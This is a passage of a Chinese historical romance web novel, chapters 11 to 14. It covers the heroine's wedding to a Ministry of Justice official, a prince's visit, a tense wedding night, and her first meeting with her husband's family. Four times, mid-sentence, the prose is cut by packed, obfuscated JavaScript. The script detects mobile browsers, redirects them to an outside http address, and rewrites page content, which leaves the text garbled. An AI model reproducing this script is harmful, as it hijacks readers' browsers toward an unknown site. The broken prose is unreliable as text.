祖母亲手替她做了个小枕头，还有这条带着她气味的锦帕，给予幼年的郑薜萝满满的安全感，陪着她长大。 只是这锦帕后来不见了，怎么也没能找到，还因此和堂姐起了纷争。曾经还以为，她再也看不到这方锦帕了。 郑薜萝将枕巾在手心攥紧，眼眶渐渐发红。 “障车来啦！” “新郎官到了！！” 喧闹的人声伴随着杂乱的脚步涌了进来，郑薜萝将枕巾收进怀中，站起身来。 新郎一身喜服，挺拔的身影如同鹤立鸡群，在人群簇拥之中迈步进门。 迎着众人好奇的目光，房遂宁一路走进中庭，忽然听得人群中响起一个稚嫩的声音。 “是姐夫么？” 郑成帷闪身逃脱了嬷嬷紧抓着的手，一下冲出了人群。他仰起头，好奇地打量着新郎官装束的房遂宁。 这姐夫……真高啊。 房遂宁没料想到会被一个孩子拦在道中，他听说过郑家有个不到十岁的庶子，想来便是眼前的这位。 他冲郑成帷客气地笑了笑，身后便有人过来，拿出一包花生糖要哄走孩子。 孰料，郑成帷却摇了摇头，认真地看向他：“我听说，新郎娶新妇需得经过一番考验才行，姐夫以为呢？” 此言一出，在场众人面色登时精彩。郑成帷瓮声瓮气，让人没法和一个八岁小儿较真，却又不好硬闯过去。 房遂宁抬眼，郑远持夫妇端坐在正堂看着这一切，并无要干涉的迹象。 他蹲下身子，看着郑成帷，嘴角扯出逗弄的笑意。 “弟弟要如何考验？投壶，还是解连环？” “才不是那些小玩意儿……” 郑成帷听他将自己当做小孩逗弄，嘟起了嘴，脸蛋红红的，“你也不是大将军，刀枪棍棒恐怕不大行……” 他歪着脑袋琢磨，语气颇有嫌弃之意，人群里冒出笑声。房遂宁嘴角微抽。 “那就……请姐夫专门给姐姐作一首诗吧！” 这小子。房遂宁挑了挑眉，抬头扫了一眼厅中，仆妇环绕间花团锦簇，隐约可见珠翠华丽的新妇身影。 团扇之后，那双黑白分明的眼睛也正不偏不倚地望过来。 本来娶亲也有作“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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华丽的婚服材质硬挺，衣摆一道道褶皱有如沟壑，将二人隔开距离。 郑薜萝垂眼，裙裾上彩线绣着的成行排列的翟鸟一半陷进深深的褶皱里。她下意识地提了提裙裾，将陷落的一只鸟“打捞”上来。 障车外，十二名来自房家的仆从手捧着连燃了三日的庭燎，自大门内鱼贯而出。 新妇离家，女家烛灭。郑家嫡长女薜萝，终于出嫁了。 11. 第 11 章 [加更] 入洞房，撤…… 丞相府占据隆兴坊半坊之地，单循园的面积便大过郑府。郑薜萝被喜娘搀扶着进园，沿路只见亭台水榭，一步一景，古朴中透着雅致，花园中还养着鸾鹤孔雀，姿态高贵地在花木中漫步。 步入婚房，喜娘扶着郑薜萝在拔步床上坐下。 “这里不用人了，嬷嬷自去吃些东西吧。”她轻声道。 “那您有事吩咐，我们就在外面候着郎君过来。”喜娘带着两个丫鬟离开房间，将门从外面阖上。 “姑娘，累么？” 且微皱着眉打量主子头上，高梳的?髻和繁复的头饰看着就沉坠坠的压人。 “不累，”郑薜萝摇头，鬓边珠花步摇微晃，“你也歇歇吧，跟着站了一天。” 且微便掀开帐幔去了外间，没一会又折回来。 “这新房可真是宽敞，足足有咱们府上正房两倍不止，不愧是清河房氏。” 郑薜萝缓缓扫过所在的主屋，沉香为梁，玳瑁贴门，碧玉窗，珍珠箔……高昂的装潢用料处处透着世家大族的贵重气质。 “只不过，屋里的陈设还是简单了些，这房家郎君似乎不常回来住的样子——恐怕还真是和传言里说的一样，是个不着家的呢……”且微皱着眉道。 “不回家，不是正好么。” 熏炉里燃得不知什么香，香气浓烈，满室氤氲，闻久了有些气闷。 金银花树烛台上，高低错落摆放着十余枝小儿手臂粗的红烛，刚燃了个开头…… 这一夜，还很长。 郑薜萝呼出一口气：“扶我起来看看。” 二人绕过屏风走到正堂。新房里，除了屋子正中悬着的一副丹青，其他装饰寥寥。 “这画得什么呀，除了黑就是白，枯枝败叶的，放在这新房里一点都不喜庆……”且微皱着眉点评。 画上危崖百尺，如刀劈斧凿，崖壁上孤悬着虬曲的枯松枝干如铁，尖梢如刺，松根死死抠进岩缝，暴露盘结，崖下江水奔流，远处大雾弥漫，模糊了天际线。 郑薜萝仰头，静静看着那画。作画之人笔法枯涩锐利，多用焦墨飞白，有种处于绝境，又死地逢生之感。 视线下移，落在画面角落，红色的印章上「素处以默」四个篆字，每一笔都如断铁崩金，锋芒毕露。 “素处以默，妙机其微……” 她沉吟着，“倒真像个修道之人。” “什么意思啊？” 且微看不懂那画，也没听懂郑薜萝在说什么，遂百无聊赖地走开。 “——您的贵妃榻在这呢。” 隔间里面摆着一张贵妃榻，和一面嵌着八宝琉璃的侍女屏风——都是她的嫁妆清单里的，光是这两件就价值千金，只是同一旁的蒲团香案摆在一起，显得十分突兀。 她皱着眉，抬手揉了揉太阳穴。 “姑娘觉得闷么？”且微望一眼她身上沉重的婚服，要去推窗。 “不必了。”郑薜萝掀眉，“怎么还唤姑娘？” “……是，娘子。”且微吐了吐舌头。 “你饿么？” “不、不饿，娘子饿么？” 不远处覆着大红桌帷的圆桌上，摆着一只纯金酒樽，和一对剖为两半的卺。除此之外，并无任何食物。床榻上倒是撒着些红枣、花生之类，但不知能不能动。 且微犹豫着，要不要叫人送些吃的进来，却见郑薜萝从袖子里摸出了两块酥糖来。 且微没客气，接过糖放进嘴里，一边嚼着，一边口齿不清地感叹：“方才经过前面院子，里面简直是人挤人，一丛丛的，可真是热闹……姑娘，你也吃一块吧？” 郑薜萝摇了摇头。 今日府中必是高朋满座，方才还听秦嬷嬷不无骄傲地提起，除了贵妃娘娘和裕王殿下，东宫也送来了贺礼。 也不知现在的郑府，是何景象。 她正出神中，忽然听得前院高亢的通报声——“二皇子驾到！” 且微转脸看向郑薜萝，叹道：“清河房氏可真是势力通天啊，娶个媳妇，皇子们排着队前来道贺！” 前院里，家主房速崇的表情同样难掩讶异。 太子李邺与二皇子寰王李宥一文一武，太子辅国政，二皇子掌兵权，二人一向泾渭分明；再加上寰王的母亲窦淑妃与裴贵妃的竞争关系，连带着与房氏的关系也颇为冷淡，私下实则甚少来往。 今日婚宴，寰王竟然会亲自出席，实在出乎房家人的意料。 满院宾客听得通传，齐齐噤声，但见一队红衣翊卫森严列阵门外，灯火通明的门阀之下，一身戎服的寰王殿下迈步进门。 房衡忍不住出声提醒：“老爷，要去迎一下吧……” 房速崇如梦初醒，拉过身边的房遂宁，迎上前去。 “老臣拜见殿下！” “微臣参见殿下。” 寰王嗓音洪亮：“免礼免礼！” 众人起身，只见寰王生得气质英挺，骨相坚毅，一身戎装更显出硬朗的军人气质。 “贵府大喜，父皇颇为上心，正逢这两日我回京中叙功，便特地要了这份差事，顺道来讨一口喜酒喝！” 房速崇忙道：“大祈有二殿下为国征战，得以四境安宁，实乃万民之福！老臣敬殿下！” 寰王哈哈一笑，接过酒杯，转头看向房遂宁，“本王与遂宁似乎还未一起喝过酒……” 房遂宁双手持杯，微微躬身：“微臣位卑，何其有幸，能与殿下共饮。” “是么？”寰王微眯起眼，“本王却听说，你和我那四弟喝得也不少呢。” 房速崇笑着道：“四殿下喜欢热闹，偶尔会召他一起，不过二殿下也知道，荪桡平日风里来雨里去，能作陪的时候实在不多，哈哈……” “也是，”寰王拍了拍房遂宁的肩膀，“都听说房家郎君是个厉害角色，朝中不少人都怕你，说你不近人情，如今娶妻成家，不知会否多些人情味了！” “殿下玩笑。”房遂宁垂着眼，语气淡淡。 寰王眸光微眯，若有深意地看了他一眼：“如今郑家女儿嫁你为妻，可要好好待她。房郑两家均乃大祈股肱，只有勠力同心，方能永葆大祈国祚。我说得可对？” “微臣铭记。” 寰王微微一笑，看向房速崇，似在等他表态。 房速崇心中一凛，拱手道：“殿下所言甚是。” 那边厢，酒席首位已经布置出来，只等着寰王落座，他却摆了摆手：“只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024510|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来讨杯酒喝，还得连夜开拔回营，我就不多待了！” 说罢就此告辞，走了没两步，又转过身来。一院子的人刚刚落座，又匆匆忙忙提着袍子站起来，等着寰王示下。 寰王只笑着对新郎官道：“差点忘了，宁安托本王带了份礼物给你们新婚小夫妻。一会便让他们抬到你院子里去。” 他冲着房遂宁眨眨眼，“人家姑娘初来乍到，难免无聊，你多陪陪，解解闷……” “臣遵命。” 房遂宁微笑颔首，低眸时笑意如冰消，瞬间回至冰点。 - 宁安公主给新婚夫妇的礼物是一台彩索秋千架。 几个家丁吭哧吭哧地将秋千架抬过前院。房速崇冷眼望着，低声：“今夜多少眼睛盯着房府，寰王都特意来替郑氏站台，你就算是作戏，也给我把夫妻恩爱做足了。” 房遂宁下颌线绷得极紧，一语不发。 “你听见了没？？”房速崇不满地睨向儿子。 “……知道了。” 漏断更移，星斗渐斜，婚宴终于散场。 房遂宁远远看见灯火通明的婚房，步伐慢了下来。 窗棂上贴着喜字，廊柱彩绸低垂，绣着百子图的彩障将院子围了一圈，一直到房门口……仿佛被这满目的红刺得眼睛痛，他忍不住皱起眉头。 “主子。” 房遂宁转头，泊舟的身影从树后闪出。 “什么事？” “夜来死了。” 房遂宁目光凛起：“什么时候的事？” “人被发现在城西乱葬岗，就在卢序槐去过郑家后。” ——至此，线索已断，案子陷入死局。 见泊舟面露迟疑，房遂宁盯着他：“还有什么事？” “上面递话：此案因涉及四品以上官员，目前已经由刑部移交大理寺。” 「人家姑娘初来乍到，你多陪陪……」 房遂宁想起寰王方才的话，唇角勾起一抹冷笑。这有意让他远离的架势，未免太过明显。 “知道了，你去吧。” 泊舟领命，身影迅速消失在黑暗中。 喜娘等了半宿，见新郎官终于回来了，清了清嗓子：“入洞房，撤锦障！” 一院子候着的下人如梦初醒，全部打起了精神。 房遂宁迈步走上台阶，喜娘正要推门，却听他道：“我自己进去就行。你们下去。” 两个喜娘对视一眼，均有些犹豫：她们负责引导新人，进入洞房之后还有若干流程要走，若事宜未尽，则不算完满。 “不就是饮合卺酒？我知道的。” 或许是累了一天，新郎的语气显然已颇为不耐。 喜娘不敢违抗，退到阶下，屈膝行礼：“那便祝新郎新妇百年好合，恩爱如水！” 房遂宁摆了摆手，众下人无声而迅速地退出了院子。 廊下悬着的灯笼随风摇晃，橘红色的光短暂地照亮他锋利的眉眼，旋即又陷入更深的黑暗…… 他一伸手，将房门推开了。 且微侯在门口，见房遂宁独自一人站在门外，颇有些意外。 “……姑、姑爷？您——” “出去。” 12. 第 12 章 一道绛色婚服的修长人影迈进门来。 房遂宁的视线落在那架分外惹眼的宝石屏风上，肩膀微微耸动，似是哼笑了一声。 他几步走到香案边，抬手将那尊吐着香烟的狻猊铜炉熄灭了。 郑薜萝坐在拔步床上，无声舒了口气。那股甜腻的味道熏得人头疼，她已经忍了一个晚上。 一颗心紧接着又悬起——外间的人正缓步朝着她靠近。 即使隔着两重帐幔，看不清人脸，房遂宁的周身却似有迫人的寒气，屋里溶溶的春意都因之凝结。 她微颤的手摸到身边放着的团扇，举起来，半遮在面前。 按照喜娘传授过的流程：新郎入洞房后，男女对坐，新妇以扇遮面，由傧相于帐前咏除花去扇诗二首，新妇去扇； 而后，便是新郎脱下礼服，再为新娘卸去花冠和婚服； 再然后，便是洞房夜的最后一项。 …… 郑薜萝的胃里忽然一阵翻腾。 此时屋中只有他们两人，接下来的流程会如何进行？ 踟蹰间，一片阴影从天而降，人已到了面前。 房遂宁居高临下地注视着他，摇晃的烛火将他黑沉的瞳孔点亮，其中的审视锐意昭彰。 像在看一个入侵者。 从郑府到房府的这一路，他们并肩坐在婚车中，外人所见：新郎矜持，新妇娇羞，实则二人未曾有过哪怕一个眼神的交换。 她抬眼，第一次与房遂宁对视。 男人长眉入鬓，锋利的薄唇紧紧抿着，眼尾狭长，眸光中如有碎冰缓缓流动。 郑薜萝依旧规规矩矩地举着扇子，新郎官并无为新妇却扇的觉悟。房遂宁见惯了故作镇定的嫌疑人，一眼便看出她在紧张，讽刺地冷哼了一声，便转身朝外走。 “放下吧，不累么。” 访仙阙那一晚，他也是用同样倨傲的语气，说了一句话。 「商人重利，多有狡黠市侩之徒。」 郑薜萝手心的汗瞬间冷却，胃里的翻腾莫名缓和了些。她从善如流地放下扇子，跟着站起身来。 房遂宁走到桌边，面上的不爽更重了些，他想喝水，可桌上除了一斛酒，什么也没有，左右看了一圈，悻悻地坐下。 郑薜萝停在他两步之外，依稀看清他额头沁着一层薄汗。新郎的婚服也和新娘一样，里三层外三层，更不论他还穿着这一身，应付了一整晚宾客，定然不会好受。 出于纯粹的感同身受，她尝试着建议：“……不若先宽下礼服？” 许是太久没有说话，第一句开口嗓音竟有些哑，“夫君”二字，没发得出声来。 房遂宁一只手臂撑在桌上，隔着桌子朝她看过来，眼眸微眯。 他此时已经可以确定，上一回在访仙阙遇到的人便是她。 此刻烛影摇红，他终于将人看清了：她面上画着精致的新娘妆容，姿态端庄，珠光宝气繁重婚服之下，却无半分灵动，有如提线木偶。 这便是郑远持捧在手掌心，不惜高调露富，甚至请动寰王出面，唯恐被他们房家欺负了去的宝贝女儿？ 看上去清纯无暇，却能和宁安公主那样的顽劣人物玩到一块去，据秦嬷嬷反馈，这郑家小姐于男女之事上似乎也颇为看得开……他厌恶地想。 “郑薜萝。”房遂宁不带任何感情地喊她名字。 花冠下步摇微晃，阴影落在白皙之上，新娘一双横波目，无辜至极，虚伪至极。 他冷冷移开视线。 “内帷不比朝堂，这里无须作戏。” 郑薜萝的肩膀微微下塌两分，像是卸下了什么担子，嘴角勾起完美的弧度。 房遂宁再不理会，自顾自地去解除身上沉坠的衣饰。 这套婚服乃是礼部特制，只有宗室子弟方能享有的品阶制式，层层叠叠，比他平日穿的衣服要复杂得多，除了镶嵌着珍珠、琉璃、水晶的腰带，还有上面挂着的成组的玉佩……他叮呤咣啷一股脑除下，信手扔在桌上。 解到腰际的一颗珍珠扣子，却是费了半天劲解不下来，到后来越发没了耐性，他索性用力去扯。 郑薜萝站在一旁，见他用了半天蛮力不得其法，实在看不下去，走上前准备帮忙。 手刚伸出去，只听“嗤拉”一声，婚服的扣眼被撕开了个口子，她的手被房遂宁猛地撞开，那珍珠扣终是被扯掉了下来，骨碌碌滚了老远。 手背隐隐作痛，她低眼去看，已经红了一片。 “管你自己就好。” 房遂宁瞥来一眼，没什么情绪。 郑薜萝走到门边，将那粒滚远的扣子拾起来，放回他手边的桌上。 自进屋后，新娘除了第一句话，便再未开过口。房遂宁掀眉去看，只见她姿态从容，浓密的睫毛在眼底投下一片扇形的阴影，乖觉地不再试图靠近，或是插手。 他心头涌起烦躁，又继续去解剩下的扣子，动作却慢了几分。 郑薜萝移步去了内室，取来清水灌入铜盆，端放在搁架上，沉着地将濯面的素缎备好，又走过来，取走房遂宁随手扔在一边的罩袍，挂上架子。 她自己始终穿着一身婚服，大带束紧窈窕纤身，织锦刺绣翟鸟的绶带自腰后垂落，在地面拖曳，腰际悬垂的垂珠与玉珩撞击出清脆的声响。一举一动沉稳端方，依旧是没有半分瑕疵。 将喜娘交代的一切做完，郑薜萝转头看一眼桌边坐着的人。他手边的合卺酒从始至终未曾动过。 她收回视线，走到窗边妆台坐下。 一支支摘下头上的花钗和步摇，擦去口脂、胭脂，洗去花钿，卸下覆了一整日的浓重妆容…… 昔日都是且微帮她做这些，自己动手，慢是慢了些，好在她也不赶时间。 夜还很长，足够她慢慢适应。 房遂宁盯着窗边人的背影，那张红木妆台的位置，原本摆着他的书架，这会也不知被搬去哪里了……他皱起眉，目光停在铜镜上。 镜中倒映的人影，眉目秀丽如画，已经不施半点粉黛。 “那么，郎君也早些安置。” 郑薜萝站起身来，开口说了今晚第二句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024511|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 她将婚服褪下，挂在架子上，走到床边，弯腰将榻上铺着的干果扫落下地，发出一阵清脆的声响。也不去管那一地的杂乱，上了榻便面朝里躺了下来。 一粒桂圆骨碌碌滚到房遂宁的脚边。他呼吸了几瞬，站起身。 靴尖从上面碾过，果壳碎了一地。 金银花树上，根根红烛燃至过半，烛泪错落，夜已深沉。榻上女人呼吸匀停，侧影缓缓起伏，似乎已经睡着了。 呵，她倒是能随遇而安。 房遂宁唇角勾一抹冷笑，不就是想让他休息，那便养精蓄锐。他走到铜盆边，拿帕子胡乱擦了把脸，水温正好，清爽了些。到床边躺了下来，与身边人衣袂都未曾碰到半点。 他转头，看着暗处躺着的人影，眸光阴鸷。 收回视线，将手伸出去，越过身旁的人去扯里侧摆着的被子，一下竟没扯动。 郑薜萝睁开眼，转头看向房遂宁。他正皱着眉看着她，也不说话，手里死死攥着被子的一角。 她松开手，帮忙将被子捧去他身侧，不动声色地将他手心攥着的枕巾一角扯了回去。 房遂宁睨了一眼，她扯回去的是一张边缘磨损的枕巾，一看就是不属于这一切簇新的洞房的东西，大概是娘家带来的。他懒得管，重新闭上眼。 长夜漫漫，今夜的虫鸣似乎格外刺耳，他随即意识到，刺耳的是她匀停的呼吸声。 他睁着眼，透过上方水红色的帐幔，隐约可见床顶精工雕刻的纹饰，是某种类似凤凰的祥瑞图腾，单这一台拔步床便造价不菲——难怪她能睡得安稳，自小就在这样的环境里长大，定然是娇生惯养……房遂宁厌恶地想着，直到窗外更声敲响，他坐起身，一把掀开身上的锦被。 红烛大多已经燃尽，只余一两支摇摇欲灭。 明明一进屋时，他就已经将那甜得腻人的香给灭了，可不知为何，依旧有股不知哪儿来的茉莉香气，幽幽地朝他鼻子里钻。 环顾一圈才确认，那香气的来源不是别处，正是他身边的人。 味道并不浓烈，只是若有似无，却有着极强的存在感，隐隐挑动他身体深处的某处神经。 房遂宁翻身下床，将窗推开半扇，一阵沁凉的夜风吹进来。 最后两盏红烛被风吹灭，一线月光顺着半阖的窗扇，洒落在床头，照亮了枕上半幅睡颜。 郑薜萝阖着眼，云鬓松脱，不知梦见了什么。她蜷曲着身体，樱唇微启，发出小兽一般无意识地呢喃。 那细微的声音犹如一把羽毛，挠在人心头极痒处。 房遂宁蹙眉，喉头一阵干渴。 他赤足走到圆桌边，拎起那壶酒仰头灌了一口，又回了床边。 酒气上涌，衣衽发紧，他下意识地扯了扯。 榻上人仍旧在沉睡，一缕乌发贴在颈边，黑白分明的昳丽，延伸进衣领深处。 他眸光微凝，脑中闪过一些光怪陆离的片段。 忽有种莫名的冲动，想一口咬住她修长的脖颈，看她仰起脸…… 一如那夜。 13. 第 13 章 枝头鸟鸣啾啾，郑薜萝睁开眼。 她望着红色的帐顶缓了一会，才意识到自己身处何地。 转头，枕边空无一人，重又闭上眼。 昨日实在是累极，竟回想不起自己是怎么睡着的，手里还紧紧攥着祖母的枕巾。她将枕巾上的褶皱抚平，叠整齐后压在枕头下面。 陌生的房间里，触目所及大片大片的红色，还是让她有些不适应。 郑薜萝犹豫了一会要不要喊人进来，最后还是决定，先把桌上那两杯酒给收拾了。走过去时，窗边突然有动静。 屏风后现出男人挺拔的剪影。她动作微顿。 房遂宁已经换了一件月白松霜缎的直领长袍，领缘和宽大的袖口绣着云水暗纹的滚边，比起新郎官，这一身飘逸出尘，更像不食人间烟火的修道之人。 他凌厉的眉峰上还挂着几滴水珠，应是已经濯了面，前一晚的疲态一扫而空，显得神清气爽了不少。 “你……昨夜一直在这里打坐？”郑薜萝扫向他脚边的蒲团，疑惑道。 男人淡淡看她一眼，不很耐烦的样子，没有应声。 且微自天不亮就一直侯在外面，“哗啦”一声门突然打开，房遂宁负手站在门内。 “郎、郎——”她还不怎么习惯，称呼在舌头上滚了两下愣是没喊得出来。 “进去伺候你家主子吧。”扔下这一句，房遂宁便错身出了门。 且微脚步匆匆地进到内室，郑薜萝已经在妆台边坐下，正在梳头。 她视线忍不住朝床上瞄。锦缎被褥叠得整整齐齐，褥面平整一无所见。暗自叹一口气，便走去帮主子梳妆。 郑薜萝换了一身彩绘朱雀纹的白绫背子，一腰宝相花缬纹浅绛齐腰纱裙，肩披同色帔帛，蝉鬓低梳，便准备往岁安堂去拜见君姑。 临出门前，她将头上倒插的鸳鸯戏花纹的金梳取了下来，换了一支蔓草纹的银钗。 循园与房府正院只隔着一堵矮墙，仆妇引着少夫人迈出院门，余光瞥见小径另一头一道清拔人影，似乎已经站了一会儿。 郑薜萝站定，低眉顺目地唤了一声：“夫君。” 房遂宁冷冷看她一眼，没有吱声。 郑薜萝略一屈膝，便要朝岁安堂的方向去，孰料房遂宁脚步一顿，转而走在了她的前面。 原本前面带路的仆妇掩嘴一笑，自动让到两个主子后面去。 二人一前一后，穿过花园小径、假山长廊、九曲浮桥，一路无话。 郑薜萝偶一抬眼，前面人背着手，没了阔大的婚服遮掩，袍角掀动时一双长腿更显分明。 应是家族遗传，房家的男人多是身高腿长，房遂宁更是如此，站在人群中，总是鹤立鸡群十分显眼。 秦嬷嬷站在廊下，就这么远远看着二人同行而来，连忙朝屋里：“夫人，新妇到了。桡哥儿也跟着一起来的。” 裴敏手执一串佛珠坐在罗汉榻上，听见这话，微阖的眼睁开了。 “谁说桡哥儿不情愿的？嫂子你看，还陪着新妇一道见君姑来了……” 说话的是坐在裴夫人左边上首的一位妇人，有房家人典型的面相，一双狭长的瑞凤眼，举手投足间颇有贵气。 靠坐在裴夫人身侧淡晕粉妆的女子细眉微蹙。她约莫十七八岁年纪，看见门外的人影，缓缓站起身来，低低唤了声：“桡哥哥。” “延儿也在。” 房遂宁紧绷的神色有了些许变化，朝着那少女略一颔首，迈步进门。 郑薜萝的视线不着痕迹地从那女子身上移开，跟着房遂宁走到厅中落座。 方才说话的妇人旁边，还跟着一大一小两个孩子，高些的男孩儿眉眼清秀，端坐在位置上，一举一动颇有规矩；另一个小丫头梳着双髻，手里拿一串糖人，不肯乖乖坐着，只缠在妇人脚边，见到人影迈开小脚朝房遂宁跑了过来。 “我要靠着表哥！表哥给我好吃的！” 妇人语气严厉：“兰儿，过来坐好。” 小丫头只好暂时松开房遂宁的袍角，依依不舍地抬头看一眼面前的人，却没急着挪动步子，又好奇地看向他身旁的郑薜萝：“你是……表嫂么？” 郑薜萝看着这小丫头一张肉嘟嘟的脸，刚搓出来的糯米圆子一般，带了笑意冲她眨了眨眼，柔声：“是呀。” “快点回来，今日不可胡闹！” 这是要教训人的语气了，小丫头乖觉得很，马上又跑回母亲身边，只是一双滴溜溜的眼睛仍然好奇地盯着那个笑起来很温柔的表嫂。 郑薜萝从席上起身，正式向裴夫人行了拜见之礼，依例荐上枣栗脯脩，再向君姑奉茶。 礼毕，裴夫人让郑薜萝落座，给她介绍，眼前的这位长辈是老爷的三妹妹，房遂宁的姑母，单名一个菀字，嫁的是刑部尚书左素同，也就是房遂宁的直属上司。 那两个小的，森哥儿十三，兰姐儿六岁，是房菀和左素同的一双儿女。 房菀拽着两个孩子，教他们：“可以喊人啦。” “表嫂好。” “表嫂好！” 两个孩子一前一后奶声奶气地叫。 郑薜萝笑了笑，取来准备好的糖果，给两个孩子各抓了一把。 裴敏的视线一转，看向身边的人：“这是我内弟家的孩子，裴氏玉延。” 裴玉延站起身来，朝郑薜萝低低唤了一声：“表嫂。” “妹妹好，妹妹芳名早有耳闻。” 自从他们进屋，裴玉延的目光便始终追随着房遂宁，郑薜萝只佯作不知。 这便是传说中，原本房家属意的儿媳。若非自己，恐怕今日在这里行庙见之礼的便是她了吧。 又听裴夫人淡淡道：“玉延的双亲俱已不在人世，自小一直养在我身边，房家也一直拿她当亲女儿待，往后你也多照顾着些。” “自然。母亲放心。”郑薜萝恭声应了。 一直端坐一旁置身事外的房遂宁突然道：“姑父今日陪姑母一道来的么？” 作为属下，房遂宁很少公开称左素同为“姑父”，房菀反应了一会，才道：“哦，他今日休沐，陪我一道回来的，也顺便看看你这新媳妇。” “侄儿正好寻姑父有事，先告辞。” 房遂宁说完，便向着上首端坐的裴夫人行了一礼，站起身来。 众人俱在愣怔，只有兰姐儿喊出了声：“表哥——！”又被房菀严厉的一眼瞪得闭上了嘴。 裴夫人看着儿子远去的背影，收回视线。 郑薜萝安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024512|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静坐着，听裴夫人和房菀二人絮絮地说话。而裴玉延，自房遂宁走后便一直失魂落魄，垂头绞着手里的帕子。 “唉，看他这来去匆匆的，什么时候是个头儿……”房菀叹息了一声。 她如今是刑部尚书夫人，亲见刑部衙门杀气重、案子多，得罪起人来不分轻重，一年到头风里来、雨里去。 “要说世家子弟，少有愿意去刑部的，那里的官员多少年也不见轮换，像桡哥儿这样的，已然是刑部的老资历了。” “要这资历有什么用。”裴夫人冷着脸道。 “谁能说得动他？连和光私下也劝过他，不必在刑部苦熬，可咱们桡哥儿这脾气啊，一钻到案子里便是九头牛也拉不出来！这不，才刚成了婚，还心心念念公务，又不知要找他姑父说什么……” 裴夫人看了郑薜萝一眼：“以往他在衙署事忙，一年到头循园也回不了两趟，如今既成了婚，也当有个家的样子。” 郑薜萝脸上始终挂着得体笑意，长辈说话，只是点头。 兰姐儿无聊了，便跑过来，凑在郑薜萝身边细细打量她。小脸蛋上还挂着晶莹的口水，十足的滑稽可爱。 房菀瞥到女儿的动静，笑了起来：“这丫头，从小就是这样，看到好看的人就挪不动步，桡哥儿那么冷的一个人，也就她看着不怵——这下好了，来了个一样漂亮的表嫂，可小心她缠着你不放啊！” 最后一句话，是冲着郑薜萝说的。 “姑母说笑了，兰姐儿聪明伶俐，倒叫我也想起家里的妹妹呢。” 郑薜萝取出帕子，替兰姐儿擦了把嘴，一边伸手将小丫头手里化了一半，险些沾到前襟上的糖人拿开了些。 房菀笑着皱眉，嗔怪的语气：“快过来，埋汰！别把你表嫂的新衣服弄脏了！” 裴夫人看着两个孩子也不禁面露慈爱：“森哥儿的脾性倒是和她妹妹不同，文气得很。” 房菀出神：“房家几代里头，都是老大文，老二武，倒也是奇了……” 她说完这句，似乎自觉失言，迅速看了裴夫人一眼。 两人不约而同地沉默下来，厅中气氛莫名凝滞。 半晌，裴夫人才重又开口：“时辰差不多了，走吧。” 房氏乃是世家大族，在城西另建有宗祠，逢重大日子，便会由家主率领，举家前往祭祖。今日新妇行庙见之礼，只在府中祖厝进行。 纵使只是府中的祠堂，也足足有三进屋子的占地。这样的规模，叫郑薜萝想起儿时的外祖家。 她在房家的列祖列宗前依矩行礼，起身时抬头，望见高处供奉着的一座座牌位，烛灯映照下，紫檀木上的姓名爵位，字迹深浅不一。 牌位居中的，是自前朝起就位列三公的房老太爷房孝谦，膝下三个孩子，房速崇排行老大，下面有一个弟弟房敬崇已经过世，房菀是老三。 最靠近下面的一排的牌位几乎都用红布包裹着，儿时听老人说过，那些是家里还未故去的人，应当便是房遂宁所在的这一辈。 行完礼起身，便有师爷提着笔，蘸取墨汁，在刻着房遂宁名字的牌位上，添上郑薜萝的名字。 祖厝中香烟缭绕，郑薜萝视线微动，被房遂宁那一排中独独一个没有包裹着红布的牌位吸引住。 14. 第 14 章 “那是荃哥儿。” 裴夫人将红布揭开，露出牌位上的名字：「房荪荃」 郑薜萝微微侧目。裴夫人手捻着佛珠，眉眼低垂，依旧是那副端庄的长辈姿态，只是眼中隐隐有水光闪动。 原来房遂宁并非独子。他还有个已经去世的哥哥。 … 庙见结束，天色已是傍晚。房府派人来循园传话：正院晚食已备好，郎君已经和左大人一同过去，不回循园了，少夫人可独自过去。 郑薜萝出门时，正遇到带着两个孩子的房菀。 今晚出席家宴的除了左素同一家，还有远房的几家女眷。如今的清河房氏，以房速崇所在的这一宗门第最为煊赫。虽然都是自家亲戚，但和丞相府套近乎的机会实属难得，男人们不好多留，便把女眷留下联络感情。 郑薜萝到时，正厅里主宾几乎已经落座，数双眼睛齐刷刷地看向门边。 “父亲，母亲。” 郑薜萝朝主座上的公婆二人屈膝行礼。 